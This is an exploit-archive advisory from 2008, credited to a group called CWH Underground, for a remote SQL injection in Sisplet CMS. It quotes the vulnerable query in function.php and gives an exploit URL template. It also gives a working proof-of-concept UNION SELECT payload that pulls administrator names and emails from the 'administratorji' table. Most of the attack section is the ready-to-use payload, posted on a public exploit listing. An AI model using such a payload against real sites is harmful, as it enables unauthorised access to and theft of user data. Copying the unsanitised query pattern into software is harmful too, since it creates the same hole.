[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
# Published : 2008-07-01
# Author : CWH Underground
# Previous Title : PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
# Next Title : VanGogh Web CMS 0.9 (article_ID) Remote SQL Injection Vulnerability
=================================================================
Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
=================================================================
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / ` /
/ XXXXXX /______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
AUTHOR : CWH Underground
DATE : 1 July 2008
SITE : cwh.citec.us
#####################################################
APPLICATION : Sisplet CMS
VERSION : 2008-01-24
VENDOR : http://cms.sisplet.org/
DOWNLOAD : http://downloads.sourceforge.net/sisplet/SiSplet-2008-01-24.zip
#####################################################
--- Remote SQL Injection ---
** Magic Quote must turn off **
-----------------------------------
Vulnerable File (function.php)
-----------------------------------
$sql = mysql_query("SELECT parent FROM menu WHERE id = '$id'");
---------
Exploit
---------
[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=[SQL Injection]
------
POC
------
[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=15'/**/AND/**/1=2/**/UNION/**/SELECT/**/concat(ime,0x3a,priimek,0x3a,email),2,3,4/**/FROM/**/administratorji/**/WHERE/**/tip='0
##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
##################################################################
# www.Syue.com [2008-07-01]